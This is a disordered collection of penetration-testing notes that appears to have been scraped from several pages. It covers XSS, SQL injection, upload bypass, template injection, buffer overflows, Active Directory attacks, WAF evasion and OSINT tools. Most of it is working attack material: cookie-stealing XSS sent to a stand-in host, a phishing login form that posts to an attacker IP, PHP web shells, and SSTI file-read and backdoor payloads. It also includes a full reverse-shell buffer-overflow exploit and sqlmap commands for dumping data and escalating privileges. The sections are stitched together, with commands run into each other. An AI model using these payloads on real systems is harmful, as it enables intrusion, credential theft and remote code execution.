As you can see on the code snippet above, the value from a user input field is grabbed and appended to an element within the web page’s HTML. If an attacker can control this value, they can craft a devious value that forces their own code to be executed.
Here is an example :
Your search results for: “<script>document.location=’https://xssattacksite.com/log.php?c=’ + document.cookie</script>”
Examples
Use print instead of alert
Developers should implement a whitelist of allowable inputs, and if not possible then there should be some input validations and the data entered by the user must be filtered as much as possible.
Output encoding is the most reliable solution to combat XSS i.e. it takes up the script code and thus converts it into the plain text.
A WAF (Web Application Firewall) should be implemented as it somewhere protects the application from XSS attacks.
Form fields
Exploit with BurpSuite using URL Encode
The developer should set up his HTML script which filters the meta-characters from user inputs.
The developer should implement functions to validate the user inputs such that they do not contain any specific tag that can lead to virtual defacement.
Takes advantage of cleartext credentials in memory by dumping the process and extracting lines that have a high probability of containing cleartext passwords. Must have root permissions.
# install
git clone https://github.com/huntergregal/mimipenguin.git
cd mimipenguin/
# usage
./mimipenguin.shUser's home directories can contain plaintext passwords. For example :
/etc directory and subdirectories
The cron configuration files and systemd timer units might contain scripts with embedded credentials.
Custom applications might store passwords in their configuration files. Check any locations where you have custom software installed.
Forcing the database to perform some operation in which the result will be an error. Then try to extract some data from the database and show it in the error message.
Relies on sending an SQL query to the database which forces the application to return a different result depending on whether the query returns a TRUE or FALSE result.
Sending payloads, observing the web application’s response and the resulting behavior of the database server. Check payloads.
UNION-based attacks allow the tester to easily extract information from the database. Because the UNION operator can only be used if both queries have the exact same structure, the attacker must craft a SELECT statement similar to the original query.
Forces the database to wait for a specified amount of time (in seconds) before responding. The response time will indicate to the attacker whether the result of the query is TRUE or FALSE.

Windows SID brute forcer example through [MS-LSAT] MSRPC Interface, aiming at finding remote users/groups.
Requirements:
Domain
Username
# Change :
# Content-Disposition: form-data; name="avatar"; filename="secrets.php"
# to
# Content-Disposition: form-data; name="avatar"; filename="../secrets.php"
# You can encode "../" as :
%2e%2e%2f
%252e%252e%252f
..%c0%af
..%ef%bc%8f
# Then access the file with LFI :
# GET /files/avatars/../secrets.php# First, upload a malicious .htaccess :
# Content-Disposition: form-data; name="avatar"; filename=".htaccess"
# Content-Type: text/plain
# AddType application/x-httpd-php .l33t
# Then upload the php file with .l33t extention
# Content-Disposition: form-data; name="avatar"; filename="secrets.l33t"
# Content-Type: application/x-php
<?php echo file_get_contents('/home/carlos/secret'); ?>
# or
<?php system($_GET['cmd']); ?># You can add :
GIF89a; // at the beginning of the php file or in the burp request
# Burp request
# Content-Disposition: form-data; name="avatar"; filename="secrets.php"
# Content-Type: application/x-php
# GIF89a at the beginning of the php command
GIF89a;<?php echo file_get_contents('/home/carlos/secret'); ?>
# OR
GIF89a;<?php system($_GET['cmd']); ?># example 1
exiftool -Comment="<?php echo 'START ' .
file_get_contents('/home/carlos/secret') . ' END'; ?>" <YOUR-INPUT-IMAGE>.jpg -o polyglot.php
# example 2
exiftool -Comment="<?php echo 'START ' .
system($_GET['cmd']); . ' END'; ?>" $input.jpg -o polyglot.phpgit clone https://github.com/sAjibuu/upload_bypass.git
cd upload_bypass/
pip3 install -r requirements.txt
python3 ext_bypass.py -u $url -e $extension-file -a $allowed-extension -s $success-msg --location $path-of-uploaded-filesqlmap -u 'http://target.server.com'sqlmap -u "http://10.10.155.76/login.php" -method "POST" -data "[email protected]&log_password=123456&login_button=Login" --dbssqlmap -u 'http://target.server.com' --cookie='JSESSIONID=09h76qoWC559GH1K7D- SQHx'sqlmap -u 'http://target.server.com' -r req.txt --drop-set-cookiesqlmap -u 'http://target.server.com' --data='param1=blah' --level=5 --risk=3sqlmap -u 'http://target.server.com' --data='param1=blah¶m2=blah' -p param1sqlmap -u 'http://target.server.com' -r req.txt --random-agentsqlmap -u 'http://target.server.com' -r req.txt --dbms Oraclesqlmap -r ./req.txt -p user --level=1 --risk=3 --passwordssqlmap -r ./req.txt --level=1 --risk=3 --privesc
Run the “whoami” command on the target server.
sqlmap -r ./req.txt --level=1 --risk=3 --os-cmd=whoamisqlmap -r ./req.txt --level=1 --risk=3 --dump --delay=1sqlmap -r req --technique=E -U <user> --level 5 --risk 3 --tamper=space2comment --dbms=MSSQL -D <db> --dump# nmap
nmap -n -sV --script "ldap* and not brute" -p 389 $dcip
# anonymous bind ?
ldapsearch -x -H ldap://$dcip -b "dc=domain,dc=local" "objectclass=*"# usage
ldeep ldap -s ldap://$ldapserverip -u $user -p $passwd -d ';' all ldeep-outputldapdomaindump -u $domain\\$user -p $passwd -d ';' ldap://$ldapserverip-------------------------------------------------------------------
Polyglot:
${{<%[%'"}}%\
-------------------------------------------------------------------
FreeMarker (Java):
${7*7} = 49
<#assign command="freemarker.template.utility.Execute"?new()> ${ command("cat /etc/passwd") }
--------------------------------------------------------------------
(Java):
${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
${T(java.lang.System).getenv()}
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes()?join(" ")}
--------------------------------------------------------------------
Twig (PHP):
{{7*7}}
{{7*'7'}}
{{dump(app)}}
{{app.request.server.all|join(',')}}
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
--------------------------------------------------------------------
Smarty (PHP):
{$smarty.version}
{php}echo `id`;{/php}
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
-------------------------------------------------------------------
Handlebars (NodeJS):
wrtz{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
-------------------------------------------------------------------
Velocity:
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
-------------------------------------------------------------------
ERB (Ruby):
<%= system("whoami") %>
<%= Dir.entries('/') %>
<%= File.open('/example/arbitrary-file').read %>
-------------------------------------------------------------------
Django Tricks (Python):
{% debug %}
{{settings.SECRET_KEY}}
--------------------------------------------------------------------
Tornado (Python):
{% import foobar %} = Error
{% import os %}{{os.system('whoami')}}
--------------------------------------------------------------------
Mojolicious (Perl):
<%= perl code %>
<% perl code %>
-------------------------------------------------------------------
Flask/Jinja2: Identify:
{{ '7'*7 }}
{{ [].class.base.subclasses() }} # get all classes
{{''.class.mro()[1].subclasses()}}
{%for c in [1,2,3] %}{{c,c,c}}{% endfor %}
-------------------------------------------------------------------
Flask/Jinja2:
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
--------------------------------------------------------------------
Jade:
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
--------------------------------------------------------------------
Razor (.Net):
@(1+2)
@{// C# code}
--------------------------------------------------------------------
ASP:
<%response.write(date())%>.
<% Response.Write("testing execution") %>
<%="testing execution" %>


# python
python -m SimpleHTTPServer 8080
python3 -m http.server
# busybox
busybox httpd --help # show available options
busybox httpd -p 127.0.0.1:8080 -h /var/www/ # start start httpd
pkill busybox # to stop busybo httpd
# npm
http-server
# php
php -S 127.0.0.1:8080# curl
curl -O http://192.168.0.101/file.txt
# nc
# to share
nc -lvp 4444 < file
# to receive
nc 192.168.1.102 4444 > file
# scp
scp /path/to/source/file.ext [email protected]:/path/to/destination/file.extTarget IP Address
# synthax
lookupsid.py $domain/$user:$password/$password_hash@$target_ip
# example
lookupsid.py hazard:[email protected]Use of HTTPOnly Flags on the Cookies.
The developers can use Content Security Policy (CSP) to reduce the severity of any XSS vulnerabilities.
No X-Frame-Options Header
No Content Security Policy (with the frame-ancestors directive)
.netrc
.pgpass
.bash_history
.zsh_history
.bash_history
.nano_history
.atftp_history
.mysql_history
.php_history
/root/anaconda-ks.cfg
One of the most important aspects of a stack-based buffer overflow is to get the instruction pointer (EIP) under control, so we can tell it to which address it should jump. This will make the EIP point to the address where our shellcode starts and causes the CPU to execute it.
The offset is used to determine how many bytes are needed to overwrite the buffer and how much space we have around our shellcode.
Shellcode is a program code that contains instructions for an operation that we want the CPU to perform. The manual creation of the shellcode will be discussed in more detail in other modules. But to save some time first, we use the Metasploit Framework (MSF) that offers a Ruby script called “pattern_create” that can help us determine the exact number of bytes to reach the EIP. It creates a unique string based on the length of bytes you specify to help determine the offset.
If we now use precisely this number of bytes for our "U"s, we should land exactly on the EIP. To overwrite it and check if we have reached it as planned, we can add 4 more bytes with "\x66" and execute it to ensure we control the EIP.
The EIP has been overwritten with our \x66 characters.
Next, we have to find out how much space we have for our shellcode, which then executes the commands we intend. As we control the EIP now, we will later overwrite it with the address pointing to our shellcode's beginning.
Examine the register and find the address of EBP
We have to find out approximately how big our shellcode will be that we will insert, and for this, we will use msfvenom.
We need a total of 1040 bytes to get to the EIP.
Here, we can use an additional 100 bytes of NOPs
150 bytes for our shellcode.
Buffer
Now we can try to find out how much space we have available to insert our shellcode.
Here we use the following character list to find out all characters we have to consider and to avoid when generating our shellcode.
We need to calculate our buffer again.
Look at the whole main function to set a breakpoint at the corresponding function so that the execution stops at this point and we can analyze the memory's content :
ASREPRoast is about retrieving crackable hashes from KRB5 AS-REP responses for users without kerberoast preauthentication enabled.
This isn’t as useful as Kerberoasting, as accounts have to have DONT_REQ_PREAUTH() explicitly set for them to be vulnerable and you’re still reliant upon weak password complexity for the attack to work. But who knows, might be the only weak point you need.
Now, if you can enumerate accounts in a Windows domain that don’t require Kerberos preauthentication, you can easily request a piece of encrypted information for said accounts and efficiently crack the material offline, revealing the user’s password.
To do that you need to :
Send the KRB_AS_REQ to get the KRB_AS_REP with the encrypted information, to do so :
If you have username :
GetNPUser.py $domain/$username -no-pass -dc-ip $ip -request
Impacket-findDelegationSimple script to quickly list all delegation relationships (unconstrained, constrained, resource-based constrained) in an AD environment.
findDelegation.py "DOMAIN"/"USER":"PASSWORD"
# --user feature in 2021
findDelegation.py -user "account" "DOMAIN"/"USER":"PASSWORD"https://example.com/action.php?query=<script>document.location=’https://xssattacksite.com/log.php?c=’ + encodeURIComponent(document.cookie)</script>let searchText = document.getElementById(‘searchText’).value;
let resultsData = document.getElementById(‘resultsData’);
resultsData.innerHTML = ‘Your search results for: ‘ + searchText;<!-- put this into a form field or search bar-->
<img src=q onError=prompt('!XSS!'); />
<script>alert("!XSS!")</script>
<script>print()</script>
<!-- encoded -->
%uff1cscript%uff1eprompt("!XSS!");%uff1c/script%uff1e&
%253Cscript%253Eprint()%253C%252Fscript%253E
%253Cimg%2520src%253Dq%2520onError%253Dalert(%2522XSS%2522)%253B%2520%252F%253E
<!-- Bypassing First Filter -->
<svg/onload=alert(1)>
<svg//////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<svg%09onload=alert(1)>
<svg onload%09=alert(1)>
<svg%09onload%20=alert(1)>
<svg onload%09%20%28%2C%3B=alert(1)>
<svg onload+0B=alert(1)>
<script>\u0061lert(1)</script>
<script>\u0061\u006c\u0065\u0072\u0074(1)</script>
<img src=x onerror="\u0061lert"/>
<img src=x onerror="eval('\141lert(1)')"/>
<img src=x onerror="eval('\x61lert(1)')"/>
<!-- Javascript Keyword is blocked-->
<object data="JaVaScRiPt:alert(1)">
<object data="javascript:alert(1)">
<object data="java
script:alert(1)">
<object data="javascript:alert(1)">
<object data="javascript:alert(1)">
<object data="javascript;alert(1)">
<object data="javascrip74;:alert(1)">
<object data="data:text/html,<script>alert(1)</script>">
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">
git clone https://github.com/beefproject/beef.git
./install
nano config.yaml # change username and password
./beef<!-- insert this into xss vulnerable field : -->
<script src="http://ip_hacker:3000/hook.js"></script>
<!-- use waf bypass --><!-- URL ENCODE THESE & put them in a form field -->
<b>test</b>
<a href="https://google.com">test</a>
<img src= "https://www.ignitetechnologies.in/img/logo-blue-white.png">
<!-- add a form field to website -->
<div style="position: absolute; left: 0px; top: 0px; width: 1900px; height: 1300px; z-index:1000; background-color:white; padding:1em;">Please login with valid
credentials:<br><form name="login" action="http://192.168.0.7:4444/login.htm">
<table><tr><td>Username:</td><td><input type="text" name="username"/></td></tr><tr><td>Password:</td>
<td><input type="text" name="password"/></td></tr><tr>
<td colspan=2 align=center><input type="submit" value="Login"/></td></tr>
</table></form><!-- copy in a form field -->
<iframe src="http://www.google.com" width="250" height="250"></iframe># find config files :
find / ! -path "*/proc/*" -iname "*config*" -type f 2>/dev/null
# (system user account information)
/etc/passwd
/etc/shadow
# (MySQL configuration)
/etc/my.cnf
/etc/mysql/my.cnf
~/.my.cnf
/etc/mysql/conf.d/
/etc/mysql/mysql.conf.d/
/var/lib/mysql/mysql/user.MYD
# (PostgreSQL configuration)
/var/lib/pgsql/data/postgresql.conf
pg_hba.conf
pg_ident.conf
# (web server configuration)
/etc/httpd/conf/httpd.conf
/etc/nginx/nginx.conf
/var/apache2/config.inc
# (SSH server configuration)
/etc/ssh/sshd_config
# (Web Server configuration)
/etc/httpd/conf/*
/etc/nginx/*
# (Tomcat configuration)
tomcat-users.xml
find / -name 'tomcat-users.xml'/var/spool/cron/*
/etc/crontab# web app
/var/www/html/
# other application directorieshttps://www.example.beaglesecurity.com/gallery.php?id=6'https://www.example.beaglesecurity.com/gallery.php?id=6' AND 1=1 --+https://example.com/products.aspx?id=1;EXEC master..xp_dirtree '\\test.attacker.com\' --https://example.com/products.aspx?id=1' UNION SELECT passwords from users;https://example.com/products.aspx?id=1' and if(substring(user(),2,1)='a',SLEEP(5),1)--# Inject cmd parameter
' union select 1,<php_payload>,3,4 into outfile <path> --
' union select 1,'<?php system($_GET["cmd"]); ?>',3,4 intooutfile 'C:\\xampp\\htdocs\\rce.php' --
# Reverse Shell created. Access from outside :
<host>/rce.php?cmd=<command>
# Test :
127.0.0.1/rce.php?cmd=time
# Result : The current time is: 16:22:25.20 Enter the new time: 3 4




If you have no username :
GetNPUser.py $domain/ -no-pass -dc-ip $ip -request
Crack hashes :
hashcat -m 18200 ticket wordlist
❯ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1200 > pattern.txt
cat pattern.txt
Aa0Aa1Aa2Aa3Aa4Aa5...<SNIP>...Bn6Bn7Bn8Bn9
# GDB using the generated payload
(gdb) run $(python -c "print 'Aa0Aa1Aa2Aa3Aa4Aa5...<SNIP>...Bn6Bn7Bn8Bn9'")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/student/bow/bow32 $(python -c "print 'Aa0Aa1Aa2Aa3Aa4Aa5...<SNIP>...Bn6Bn7Bn8Bn9'")
Program received signal SIGSEGV, Segmentation fault.
0x69423569 in ?? ()
# GDB - EIP
(gdb) info registers eip
eip 0x69423569 0x69423569
# CALCULATING THE OFFSET
# We see that the EIP displays a different memory address, and we can use another MSF tool called "pattern_offset" to calculate the exact number of characters (offset) needed to advance to the EIP.
❯ /usr/bin/ruby /opt/metasploit-framework/embedded/framework/tools/exploit/pattern_offset.rb -q 0x69423569
[*] Exact match at offset 1036(gdb) run $(python -c "print '\x55' * 1036 + '\x66' * 4")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/student/bow/bow32 $(python -c "print '\x55' * 1036 + '\x66' * 4")
Program received signal SIGSEGV, Segmentation fault.
0x66666666 in ?? ()(gdb) info registers ebp
ebp 0x55555555 0x55555555msfvenom -p linux/x86/shell_reverse_tcp LHOST=127.0.0.1 lport=31337 --platform linux --arch x86 --format cBuffer = "\x55" * (1040 - 100 - 150 - 4) = 786
NOPs = "\x90" * 100
Shellcode = "\x44" * 150
EIP = "\x66" * 4 (gdb) run $(python -c 'print "\x55" * (1040 - 100 - 150 - 4) + "\x90" * 100 + "\x44" * 150 + "\x66" * 4')\x00 - Null Byte
\x0A - Line Feed
\x0D - Carriage Return
\xFF - Form Feed# characters list
CHARS="\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
# string length
echo $CHARS | sed 's/\\x/ /g' | wc -w
256Buffer = "\x55" * (1040 - 256 - 4) = 780
CHARS = "\x00\x01\x02\x03\x04\x05...<SNIP>...\xfd\xfe\xff"
EIP = "\x66" * 4(gdb) disas main
# setting the breakpoint at the function
(gdb) break bowfunc
# send chars
(gdb) run $(python -c 'print "\x55" * (1040 - 256 - 4) + "\x00\x01\x02\x03\x04\x05...<SNIP>...\xfc\xfd\xfe\xff" + "\x66" * 4')
# look at the stack
(gdb) x/2000xb $esp+500
# identify all bad characters - look where the chars start
# adjust the number of chars from the one who are bad
# Substract the number of removed characters
# Buffer = "\x55" * (1040 - 255 - 4) = 781
# "\x00" removed: 256 - 1 = 255 bytes
# CHARS = "\x01\x02\x03...<SNIP>...\xfd\xfe\xff"
# EIP = "\x66" * 4
# send without the null byte
(gdb) run $(python -c 'print "\x55" * (1040 - 255 - 4) + "\x01\x02\x03\x04\x05...<SNIP>...\xfc\xfd\xfe\xff" + "\x66" * 4')
# the stack
x/2000xb $esp+550
# check for other bad chars ... etc# syntahx
msfvenom -p linux/x86/shell_reverse_tcp lhost=<LHOST> lport=<LPORT> --format c --arch x86 --platform linux --bad-chars "<chars>" --out <filename>
# real command
msfvenom -p linux/x86/shell_reverse_tcp lhost=127.0.0.1 lport=31337 --format c --arch x86 --platform linux --bad-chars "\x00\x09\x0a\x20" --out shellcode
# content of shellcode
❯ cat shellcode
unsigned char buf[] =
"\xbe\x6e\x05\xb5\x18\xdd\xc1\xd9\x74\x24\xf4\x5a\x31\xc9"
"\xb1\x12\x31\x72\x12\x03\x72\x12\x83\x84\xf9\x57\xed\x69"
"\xd9\x6f\xed\xda\x9e\xdc\x98\xde\xa9\x02\xec\xb8\x64\x44"
"\x9e\x1d\xc7\x7a\x6c\x1d\x6e\xfc\x97\x75\x0e\xfe\x67\x84"
"\x98\xfc\x67\xfc\x31\x88\x89\xb0\xa4\xda\x18\xe3\x9b\xd8"
"\x13\xe2\x11\x5e\x71\x8c\xc7\x70\x05\x24\x70\xa0\xc6\xd6"
"\xe9\x37\xfb\x44\xb9\xce\x1d\xd8\x36\x1c\x5d";
# Now that we have our shellcode, we adjust it to have only one string, and then we can adapt and submit our simple exploit again.
# Buffer = "\x55" * (1040 - 124 - 95 - 4) = 817
# NOPs = "\x90" * 124
# Shellcode = "\xda\xca\xba\xe4\x11...<SNIP>...\x5a\x22\xa2"
# EIP = "\x66" * 4'
# EXPLOIT
(gdb) run $(python -c 'print "\x55" * (1040 - 124 - 95 - 4) + "\x90" * 124 + ""\xbe\x6e\x05\xb5\x18\xdd\xc1\xd9\x74\x24\xf4\x5a\x31\xc9\xb1\x12\x31\x72\x12\x03\x72\x12\x83\x84\xf9\x57\xed\x69\xd9\x6f\xed\xda\x9e\xdc\x98\xde\xa9\x02\xec\xb8\x64\x44\x9e\x1d\xc7\x7a\x6c\x1d\x6e\xfc\x97\x75\x0e\xfe\x67\x84\x98\xfc\x67\xfc\x31\x88\x89\xb0\xa4\xda\x18\xe3\x9b\xd8\x13\xe2\x11\x5e\x71\x8c\xc7\x70\x05\x24\x70\xa0\xc6\xd6\xe9\x37\xfb\x44\xb9\xce\x1d\xd8\x36\x1c\x5d"" + "\x66" * 4')
# reverse shell
nc -lvnp 31337# MISC of commands
# list of users in users file
for user in $(cat users); do GetNPUsers.py -no-pass -dc-ip $ip $domain/${user} | grep -v Impacket; done
GetNPUsers.py -dc-ip $ip -request $domain/
GetNPUsers.py -dc-ip $ip -request $domain/ -format hashcat/john
GetNPUsers.py -dc-ip $ip -usersfile users.txt $domain/
GetNPUsers.py $domain/backup -no-pass
GetNPUsers.py -no-pass $domain/ -usersfile users.txt -format hashcat -outputfile hashes.txtOSINT Industries — Reveal what's behind any contact
AwareOnline : Username tools — Investigations, check usernames
whatsmyname — Searches for accounts in various services by login, based on public JSON.
— A free tool for finding a user by login on over 2 thousand websites.
, , , , —Online services for searching user accounts by login.
VKWatch — VK profile history
FindClone — Searching by face on social medias (VK as i remember)
Search4Faces — Search user's profile picture on social media
OSI.IG — Instagram monitoring
— Skype OSINT
Holehe OSINT — Checks if an email is associated with accounts on sites like Twitter, Instagram, and Imgur, supporting over 100 portals.
Mailcat — Searches for email addresses by nickname from 22 email providers.
Sherlock — Searches social network accounts by username.
Snoop Project — A login search tool covering over two and a half thousand sites, according to the developer.
— Collects information on a person's login, checking accounts on over two and a half thousand sites and gathering available information from web pages, without requiring API keys. (Sherlock fork)
— An API, command line interface, and web application for analyzing and searching profiles on over 1 thousand sites.
— A Python utility for finding profiles by username on 350 websites.
— A fast search engine for account names, working with 210 sites.
— A tool for finding accounts by login on social networks.
— Facilitates search by login across public search engines from Google to Torch to Qwant
— A modular tool for collecting data about Google accounts.
— A tool for finding profiles by username.
— Mail verification service with some features
MD5Decrypt SHA1 — SHA-1 Password decryption
Moriarty — A utility for reverse searching by phone numbers, providing information about the owner, associated links, social network pages, and other relevant details
Phomber — Searches phone numbers on the internet and retrieves all available data
PhoneInfoga — A well-known tool for finding international phone numbers, providing standard information such as country, region, and carrier, and then searching for traces of it in search engines to help identify the owner.
— A utility for obtaining information from the GetContact application databases, albeit with limitations on parsing and requests.
It usually occurs due to malicious malware downloaded by the host and can happen regardless of the geographic location of the device.
How is it possible ?
With RCE, hackers can edit or destroy important files, steal confidential data, perform DDoS (Distributed Denial of Service) attacks, and compromise the entire system.
The attacks can be occurred due to:
External user input unchecked
Access control is poor
Authentication measures are not properly done
Buffer overflow.
# LinkedinMama3 - https://github.com/h0useh3ad/LinkedinMama3
git clone https://github.com/h0useh3ad/LinkedinMama3.git
cd LinkedinMama3/
pip3 install -r requirements.txt
python3 LinkedinMama3.py -k $company_name -e $company_domain -n $email_format -c $linkedin_company_ID
# check if some are pwned - https://github.com/thewhiteh4t/pwnedOrNot
git clone https://github.com/thewhiteh4t/pwnedOrNot.git
cd pwnedOrNot/
chmod +x install.sh
./install.sh
nano config.json # add hibp api key
python3 pwnedornot.py -f mails-list.txt
CAP_FOWNER
This enables bypass of permission checks on operations that normally require the filesystem UID of the process to match the UID of the file
CAP_KILL
Allow the sending of signals to processes belonging to others
CAP_SETGID
Allow changing of the GID
CAP_SETUID
Allow changing of the UID
CAP_SETPCAP
Helps to transferring and removal of current set to any PID
CAP_IPC_LOCK
This helps to lock memory
CAP_MAC_ADMIN
Allow MAC configuration or state changes
CAP_NET_RAW
Use RAW and PACKET sockets
CAP_NET_BIND_SERVICE
SERVICE Bind a socket to internet domain privileged ports
CAP_AUDIT_CONTROL
Allow to enable/disable kernel auditing
CAP_AUDIT_WRITE
Helps to write records to kernel auditing log
CAP_BLOCK_SUSPEND
This feature can block system suspends
CAP_CHOWN
Allow user to make arbitrary change to files UIDs and GIDs
CAP_DAC_OVERRIDE
This helps to bypass file read, write and execute permission checks
CAP_DAC_READ_SEARCH
This only bypasses file and directory read/execute permission checks
Buffer overflows are errors that allow data that is too large to fit into a buffer of the operating system's memory that is not large enough, thereby overflowing this buffer. As a result of this mishandling, the memory of other functions of the executed program is overwritten, potentially creating a security vulnerability.
File formats binary :
Portable Executable Format (PE) - Microsoft Platforms
Executable and Linking Format (ELF) - UNIX
.text : contains the actual assembler instructions of the program. This area can be read-only to prevent the process from accidentally modifying its instructions. Any attempt to write to this area will inevitably result in a segmentation fault.
.data : contains global and static variables that are explicitly initialized by the program.
.bss : Several compilers and linkers use the .bss section as part of the data segment, which contains statically allocated variables represented exclusively by 0 bits.
About Stack
Modern memory protections (DEP/ASLR) would prevent the damaged caused by buffer overflows. DEP (Data Execution Prevention), marked regions of memory "Read-Only". The read-only memory regions is where some user-input is stored (Example: The Stack), so the idea behind DEP was to prevent users from uploading shellcode to memory and then setting the instruction pointer to the shellcode. Hackers started utilizing ROP (Return Oriented Programming) to get around this, as it allowed them to upload the shellcode to an executable space and use existing calls to execute it. With ROP, the attacker needs to know the memory addresses where things are stored, so the defense against it was to implement ASLR (Address Space Layout Randomization) which randomizes where everything is stored making ROP more difficult.
strcpy
gets
sprintf
scanf
Since the stack starts with a high address and grows down to low memory addresses as values are added, the Base Pointer points to the beginning (base) of the stack in contrast to the Stack Pointer, which points to the top of the stack.
As the stack grows, it is logically divided into regions called Stack Frames, which allocate the required memory in the stack for the corresponding function. A stack frame defines a frame of data with the beginning (EBP) and the end (ESP) that is pushed onto the stack when a function is called.
The canaries are known values written to the stack between buffer and control data to detect buffer overflows. The principle is that in case of a buffer overflow, the canary would be overwritten first and that the operating system checks during runtime that the canary is present and unaltered.
Address Space Layout Randomization (ASLR) is a security mechanism against buffer overflows. It makes some types of attacks more difficult by making it difficult to find target addresses in memory. The operating system uses ASLR to hide the relevant memory addresses from us. So the addresses need to be guessed, where a wrong address most likely causes a crash of the program, and accordingly, only one attempt exists.
DEP is a security feature available in Windows XP, and later with Service Pack 2 (SP2) and above, programs are monitored during execution to ensure that they access memory areas cleanly. DEP terminates the program if a program attempts to call or access the program code in an unauthorized manner.
An even further defense mechanism is called a container, which is another layer of Data Execution Prevention. The container attempts to identify all possible results of code from data within the buffer (or the data segment) and then prevent the application from calling external functions in shared objects from the inside of the buffer. A version of this has been implemented in Cisco Security Agent, or CSA. Linux's GrSec and PaX kernel patches also implement their own version of contained memory space.
wafw00f $target# detecting the waf
nmap -p$port --script http-waf-detect $target
# fingerprinting the waf
nmap -p$port --script http-waf-fingerprint $target# bypassed
<ScrIpT>confirm()</sCRiPt>
sELeCt * fRoM * wHerE OWNER = 'NAME_OF_DB'
# url example
http://example.com/index.php?page_id=-1 UnIoN SeLeCT 1,2,3,4# blocked by waf
<Svg/x=">"/OnLoAD=confirm()//
# bypassed
%3CSvg%2Fx%3D%22%3E%22%2FOnLoAD%3Dconfirm%28%29%2F%2F
# blocked by waf
UniOn(SeLeCt 1,2,3,4,5,6,7,8,9,10)
# bypassed
UniOn%28SeLeCt+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%29
# url example
https://example.com/page.php?id=1%252f%252a*/UNION%252f%252a /SELECT# basic request
<marquee onstart=prompt()>
# obfuscated
<marquee onstart=\u0070r\u06f\u006dpt()>
# blocked by waf
/?redir=http://google.com
# bypassed
/?redir=http://google。com (Unicode alternative)
# blocked by waf
<marquee loop=1 onfinish=alert()>x
# bypassed
<marquee loop=1 onfinish=alert︵1)>x (Unicode alternative)
# basic request
../../etc/shadow
# obfuscated
%C0AE%C0AE%C0AF%C0AE%C0AE%C0AFetc%C0AFshadow# basic request
"><img src=x onerror=confirm()>
# encoded payload
"><img src=x onerror=confirm()>
# or
"><img src=x onerror=confirm()> # obfuscated payload
<A HREF="h
tt p://6 6.000146.0x7.147/">XSS</A># blocked by waf
<script>confirm()</script>
# bypassed
<!--><script>confirm/**/()/**/</script>
# blocked by waf
/?id=1+union+select+1,2--
# bypassed
/?id=1+un/**/ion+sel/**/ect+1,2--
# url example
index.php?page_id=-1 %55nION/**/%53ElecT 1,2,3,4'union%a0select pass from users#
index.php?page_id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3# basic request
http://example/cgi/../../winnt/system32/cmd.exe?/c+dir+c:\
# obfuscated payload
http://example/cgi/%252E%252E%252F%252E%252E%252Fwinnt/system32/cmd.exe?/c+dir+c:\
# basic payload
<script>confirm()</script>
# obfuscated payload
%253Cscript%253Econfirm()%253C%252Fscript%253E# basic request
/bin/cat /etc/passwd
# obfuscated payload
/???/??t /???/??ss??
# used chars
/ ? t s
# basic request
/bin/nc 127.0.0.1 443
# obfuscated payload
/???/n? 2130706433 443
# used chars
/ ? n [0-9]# basic request
<script>confirm()</script>
